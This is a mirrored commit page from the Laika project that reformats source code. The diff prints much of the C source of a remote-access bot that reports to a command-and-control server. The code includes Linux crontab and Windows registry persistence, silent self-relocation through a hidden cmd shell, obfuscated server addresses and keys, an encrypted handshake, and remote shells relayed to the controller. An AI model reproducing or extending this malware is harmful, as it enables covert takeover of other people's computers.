1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-03 14:50:18 +00:00

Added .clang-format, formatted codebase

This commit is contained in:
2022-06-27 18:57:00 -05:00
parent 1d6ce15b3d
commit 48fa8935c3
46 changed files with 1756 additions and 1242 deletions

View File

@@ -3,14 +3,15 @@
#include "laika.h"
#include "lpacket.h"
#include "lsocket.h"
#include "lpeer.h"
#include "ltask.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
struct sLaika_shell;
struct sLaika_bot {
struct sLaika_bot
{
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_shell *shells[LAIKA_MAX_SHELLS];
struct sLaika_pollList pList;
@@ -23,9 +24,11 @@ struct sLaika_bot {
struct sLaika_bot *laikaB_newBot(void);
void laikaB_freeBot(struct sLaika_bot *bot);
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
/* can throw a LAIKA_ERROR */
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port);
bool laikaB_poll(struct sLaika_bot *bot);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData);
#endif

View File

@@ -2,11 +2,13 @@
#define LAIKA_SHELL_H
#include <stddef.h>
#include <stdbool.h>
#define LAIKA_SHELL_TASK_DELTA 50
struct sLaika_bot;
struct sLaika_shell {
struct sLaika_shell
{
uint32_t id;
};
@@ -19,13 +21,15 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
/* handles reading & writing to shell pipes */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length);
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf,
size_t length);
/* packet handlers */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData);
#endif

View File

@@ -1,32 +1,35 @@
/* platform specific code for achieving persistence on linux */
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/file.h>
#include <pwd.h>
#include "persist.h"
#include "lconfig.h"
#include "lsocket.h"
#include "lerror.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "persist.h"
#include <pwd.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
static int laikaB_lockFile;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
bool laikaB_checkRoot()
{
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_LOCK_FILE);
void laikaB_markRunning()
{
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_LOCK_FILE);
/* create lock file */
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath);
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n",
filePath);
/* create lock */
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
@@ -37,7 +40,8 @@ void laikaB_markRunning() {
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
void laikaB_unmarkRunning()
{
/* close lock */
if (flock(laikaB_lockFile, LOCK_UN) != 0)
LAIKA_ERROR("Failed to close file lock!\n");
@@ -46,7 +50,8 @@ void laikaB_unmarkRunning() {
LAIKA_DEBUG("file lock removed!\n");
}
void getCurrentExe(char *outPath, int pathSz) {
void getCurrentExe(char *outPath, int pathSz)
{
int sz;
/* thanks linux :D */
@@ -56,7 +61,8 @@ void getCurrentExe(char *outPath, int pathSz) {
outPath[sz] = '\0';
}
void getInstallPath(char *outPath, int pathSz) {
void getInstallPath(char *outPath, int pathSz)
{
struct stat st;
const char *home;
@@ -66,8 +72,8 @@ void getInstallPath(char *outPath, int pathSz) {
}
/* create install directory if it doesn't exist */
LAIKA_BOX_SKID_START(char*, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, filePath, LAIKA_LIN_INSTALL_FILE);
LAIKA_BOX_SKID_START(char *, dirPath, LAIKA_LIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, filePath, LAIKA_LIN_INSTALL_FILE);
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
@@ -79,7 +85,8 @@ void getInstallPath(char *outPath, int pathSz) {
LAIKA_BOX_SKID_END(filePath);
}
bool checkPersistCron(char *path) {
bool checkPersistCron(char *path)
{
char buf[PATH_MAX + 128];
FILE *fp;
bool res = false;
@@ -99,8 +106,9 @@ bool checkPersistCron(char *path) {
return res;
}
void tryPersistCron(char *path) {
LAIKA_BOX_SKID_START(char*, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
void tryPersistCron(char *path)
{
LAIKA_BOX_SKID_START(char *, cronCMD, LAIKA_LIN_CRONTAB_ENTRY);
char cmd[PATH_MAX + 128];
/* should be 'safe enough' */
@@ -115,7 +123,8 @@ void tryPersistCron(char *path) {
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
void laikaB_tryPersist()
{
char exePath[PATH_MAX];
char installPath[PATH_MAX];
@@ -124,7 +133,8 @@ void laikaB_tryPersist() {
getInstallPath(installPath, PATH_MAX);
/* move exe to install path (if it isn't there already) */
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath))
if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 &&
rename(exePath, installPath))
LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath);
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
@@ -139,6 +149,7 @@ void laikaB_tryPersist() {
}
/* try to gain root */
void laikaB_tryRoot() {
void laikaB_tryRoot()
{
/* stubbed */
}

View File

@@ -1,29 +1,32 @@
/* platform specific code for opening shells in linux */
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <pty.h>
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include <pty.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define LAIKA_LINSHELL_PATH "/bin/sh"
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
int pid;
int fd;
};
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
struct winsize ws;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
ws.ws_col = cols;
ws.ws_row = rows;
@@ -32,21 +35,22 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
if (shell->pid == 0) {
/* child process, clone & run shell */
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
execlp(LAIKA_LINSHELL_PATH, "sh", (char *)NULL);
exit(0);
}
/* make sure our calls to read() & write() do not block */
if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
laikaB_freeShell(bot, (struct sLaika_shell*)shell);
laikaB_freeShell(bot, (struct sLaika_shell *)shell);
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
/* kill the shell */
kill(shell->pid, SIGTERM);
@@ -57,13 +61,14 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
/* ====================================[[ Shell Handlers ]]===================================== */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
{
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t));
int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t));
if (rd > 0) {
/* we read some input! send to cnc */
@@ -82,10 +87,12 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
return true;
}
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
size_t length)
{
struct sLaika_peer *peer = bot->peer;
struct sLaika_socket *sock = &peer->sock;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
size_t nLeft;
int nWritten;

View File

@@ -1,19 +1,23 @@
#include "bot.h"
#include "lbox.h"
#include "lerror.h"
#include "lmem.h"
#include "lsodium.h"
#include "lerror.h"
#include "lbox.h"
#include "bot.h"
#include "shell.h"
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
uint8_t endianness = laikaS_readByte(&peer->sock);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
(endianness ? "TRUE" : "FALSE"));
}
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
LAIKA_DEBUG("got ping from cnc!\n");
/* stubbed */
}
@@ -48,17 +52,19 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
/* clang-format on */
/* socket event */
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData)
{
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_kill(&bot->peer->sock);
}
/* ==========================================[[ Bot ]]========================================== */
struct sLaika_bot *laikaB_newBot(void) {
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *laikaB_newBot(void)
{
LAIKA_BOX_SKID_START(char *, cncPubKey, LAIKA_PUBKEY);
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
struct hostent *host;
char *tempINBuf;
@@ -66,16 +72,11 @@ struct sLaika_bot *laikaB_newBot(void) {
int i;
laikaP_initPList(&bot->pList);
bot->peer = laikaS_newPeer(
laikaB_pktTbl,
&bot->pList,
laikaB_onPollFail,
(void*)bot,
(void*)bot
);
bot->peer =
laikaS_newPeer(laikaB_pktTbl, &bot->pList, laikaB_onPollFail, (void *)bot, (void *)bot);
laikaT_initTaskService(&bot->tService);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void *)bot);
/* init shells */
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
@@ -112,7 +113,7 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("gethostbyname() failed!\n");
}
if ((tempINBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
if ((tempINBuf = inet_ntoa(*((struct in_addr *)host->h_addr_list[0]))) == NULL) {
laikaB_freeBot(bot);
LAIKA_ERROR("inet_ntoa() failed!\n");
}
@@ -123,7 +124,8 @@ struct sLaika_bot *laikaB_newBot(void) {
return bot;
}
void laikaB_freeBot(struct sLaika_bot *bot) {
void laikaB_freeBot(struct sLaika_bot *bot)
{
int i;
/* clear shells */
@@ -138,7 +140,8 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
laikaM_free(bot);
}
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port)
{
struct sLaika_socket *sock = &bot->peer->sock;
/* setup socket */
@@ -153,17 +156,23 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
/* write public key */
laikaS_write(sock, bot->pub, sizeof(bot->pub));
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);
laikaS_endOutPacket(bot->peer);
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
/* after the cnc receives our handshake, our packets will be encrypted */
laikaS_setSecure(bot->peer, true);
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv,
bot->peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n");
}
bool laikaB_poll(struct sLaika_bot *bot) {
bool laikaB_poll(struct sLaika_bot *bot)
{
struct sLaika_pollEvent *evnt;
int numEvents;
@@ -184,8 +193,10 @@ bool laikaB_poll(struct sLaika_bot *bot) {
return true;
}
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
}

View File

@@ -1,26 +1,31 @@
#include <stdio.h>
#include "bot.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "bot.h"
#include "shell.h"
#include "persist.h"
#include "shell.h"
#include <stdio.h>
#ifdef _WIN32
# ifndef DEBUG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) {
# else
int main() {
# endif
#ifndef DEBUG
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
{
#else
int main() {
int main()
{
#endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left in memory the entire time.
not only that but they're only obfuscating the ip & port, both are things anyone would see from opening wireshark */
LAIKA_BOX_SKID_START(char*, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char*, cncPORT, LAIKA_CNC_PORT);
#else
int main()
{
#endif
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
in memory the entire time.
not only that but they're only obfuscating the ip & port, both are things anyone would see
from opening wireshark */
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
struct sLaika_bot *bot;
#ifdef LAIKA_PERSISTENCE

View File

@@ -1,24 +1,28 @@
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h"
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
if (bot->activeShells++ > LAIKA_MAX_SHELLS)
LAIKA_ERROR("Failed to allocate new shell, max shells reached!\n");
/* start shell task */
if (!bot->shellTask)
bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot);
bot->shellTask =
laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void *)bot);
return bot->shells[id] = laikaB_newRAWShell(bot, cols, rows, id);
}
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
{
uint32_t id = shell->id;
/* tell cnc shell is closed */
@@ -39,8 +43,9 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
/* ====================================[[ Packet Handlers ]]==================================== */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
uint16_t cols, rows;
@@ -61,8 +66,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
}
}
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
@@ -76,31 +82,34 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
laikaB_freeShell(bot, shell);
}
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
uint32_t id;
/* read data buf */
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
laikaS_read(&peer->sock, buf, sz-sizeof(uint32_t));
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
/* sanity check shell */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
/* write to shell */
laikaB_writeShell(bot, shell, buf, sz-sizeof(uint32_t));
laikaB_writeShell(bot, shell, buf, sz - sizeof(uint32_t));
}
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task,
clock_t currTick, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
struct sLaika_shell *shell;
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((shell = bot->shells[i]))
laikaB_readShell(bot, shell);
laikaB_readShell(bot, shell);
}
}

View File

@@ -1,28 +1,30 @@
/* platform specific code for achieving persistence on windows (FORCES ASCII) */
#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <windows.h>
#pragma comment(lib, "Shlwapi.lib")
#pragma comment(lib, "Shlwapi.lib")
#include "persist.h"
#include "lconfig.h"
#include "lmem.h"
#include "lerror.h"
#include "lvm.h"
#include "lbox.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lvm.h"
#include "persist.h"
HANDLE laikaB_mutex;
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
bool laikaB_checkRoot()
{
return true; /* stubbed for now */
}
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_SKID_START(char*, mutex, LAIKA_WIN_MUTEX);
void laikaB_markRunning()
{
LAIKA_BOX_SKID_START(char *, mutex, LAIKA_WIN_MUTEX);
laikaB_mutex = OpenMutexA(MUTEX_ALL_ACCESS, false, mutex);
@@ -37,11 +39,13 @@ void laikaB_markRunning() {
}
/* unmark that laika is currently running */
void laikaB_unmarkRunning() {
void laikaB_unmarkRunning()
{
ReleaseMutex(laikaB_mutex);
}
HKEY openReg(HKEY key, LPCSTR subKey) {
HKEY openReg(HKEY key, LPCSTR subKey)
{
HKEY hKey;
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
@@ -51,7 +55,8 @@ HKEY openReg(HKEY key, LPCSTR subKey) {
}
/* returns raw string value from registry */
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
{
LPSTR str = NULL;
DWORD ret;
@@ -69,14 +74,16 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz) {
return str;
}
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz) {
void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
{
LONG code;
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
LAIKA_ERROR("Failed to write registry!\n");
}
void getExecutablePath(LPSTR path) {
void getExecutablePath(LPSTR path)
{
CHAR modulePath[MAX_PATH] = {0};
if (GetModuleFileNameA(NULL, modulePath, MAX_PATH) == 0)
LAIKA_ERROR("Failed to get executable path!\n");
@@ -88,12 +95,14 @@ void getExecutablePath(LPSTR path) {
LAIKA_DEBUG("EXE: %s\n", path);
}
void getInstallPath(LPSTR path) {
LAIKA_BOX_SKID_START(char*, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char*, instFile, LAIKA_WIN_INSTALL_FILE);
void getInstallPath(LPSTR path)
{
LAIKA_BOX_SKID_START(char *, instDir, LAIKA_WIN_INSTALL_DIR);
LAIKA_BOX_SKID_START(char *, instFile, LAIKA_WIN_INSTALL_FILE);
CHAR SHpath[MAX_PATH] = {0};
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */
/* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and
* microsoft will probably never completely remove it :P */
if (SHGetFolderPathA(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, SHpath) != S_OK)
LAIKA_ERROR("Failed to get APPDATA!\n");
@@ -108,17 +117,18 @@ void getInstallPath(LPSTR path) {
lstrcpyA(path, "\"");
lstrcatA(path, SHpath);
lstrcatA(path, "\"");
LAIKA_DEBUG("INSTALL: %s\n", path);
LAIKA_BOX_SKID_END(instFile);
LAIKA_BOX_SKID_END(instDir);
}
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we
spawn a shell to move the exe *after* we exit. */
void installSelf() {
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH*4)] = {0};
/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to
the executable is open), so we spawn a shell to move the exe *after* we exit. */
void installSelf()
{
CHAR szFile[MAX_PATH] = {0}, szInstall[MAX_PATH] = {0}, szCmd[(MAX_PATH * 4)] = {0};
getExecutablePath(szFile);
getInstallPath(szInstall);
@@ -130,24 +140,27 @@ void installSelf() {
LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall);
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y "); /* TODO: move this string to a secret box */
/* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika
* TODO: move this string to a secret box */
lstrcpyA(szCmd, "/C timeout /t 3 > NUL & move /Y ");
lstrcatA(szCmd, szFile);
lstrcatA(szCmd, " ");
lstrcatA(szCmd, szInstall);
lstrcatA(szCmd, " > NUL & ");
lstrcatA(szCmd, szInstall);
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
if (GetEnvironmentVariableA("COMSPEC", szFile, MAX_PATH) == 0 ||
(INT)ShellExecuteA(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32)
LAIKA_ERROR("Failed to start shell for moving exe!\n");
laikaB_unmarkRunning();
exit(0);
}
void installRegistry() {
LAIKA_BOX_SKID_START(char*, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char*, regKeyVal, LAIKA_WIN_REG_VAL);
void installRegistry()
{
LAIKA_BOX_SKID_START(char *, regKey, LAIKA_WIN_REG_KEY);
LAIKA_BOX_SKID_START(char *, regKeyVal, LAIKA_WIN_REG_VAL);
CHAR newRegValue[MAX_PATH] = {0};
LPSTR regVal;
DWORD regSz;
@@ -182,12 +195,14 @@ void installRegistry() {
}
/* try to gain persistance on machine */
void laikaB_tryPersist() {
void laikaB_tryPersist()
{
installRegistry();
installSelf();
}
/* try to gain root */
void laikaB_tryRoot() {
void laikaB_tryRoot()
{
/* stubbed */
}

View File

@@ -1,14 +1,15 @@
/* platform specific code for opening shells (pseudo consoles) on windows */
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "bot.h"
#include "shell.h"
#include <windows.h>
#include <process.h>
#include <windows.h>
/* shells are significantly more complex on windows than linux for laika */
struct sLaika_RAWshell {
struct sLaika_RAWshell
{
struct sLaika_shell _shell;
HANDLE in, out;
PROCESS_INFORMATION procInfo;
@@ -16,12 +17,16 @@ struct sLaika_RAWshell {
HPCON pseudoCon;
};
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
int rows);
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
{
;
TCHAR szComspec[MAX_PATH];
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
struct sLaika_RAWshell *shell =
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
HRESULT hr;
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
@@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
}
/* launch cmd shell */
hr = CreateProcess(
NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK : HRESULT_FROM_WIN32(GetLastError());
hr = CreateProcess(NULL, /* No module name - use Command Line */
szComspec, /* Command Line */
NULL, /* Process handle not inheritable */
NULL, /* Thread handle not inheritable */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
NULL, /* Use parent's environment block */
NULL, /* Use parent's starting directory */
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
? S_OK
: HRESULT_FROM_WIN32(GetLastError());
if (hr != S_OK) {
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
laikaM_free(shell->startupInfo.lpAttributeList);
ClosePseudoConsole(shell->pseudoCon);
laikaM_free(shell);
return NULL;
}
return (struct sLaika_shell*)shell;
return (struct sLaika_shell *)shell;
}
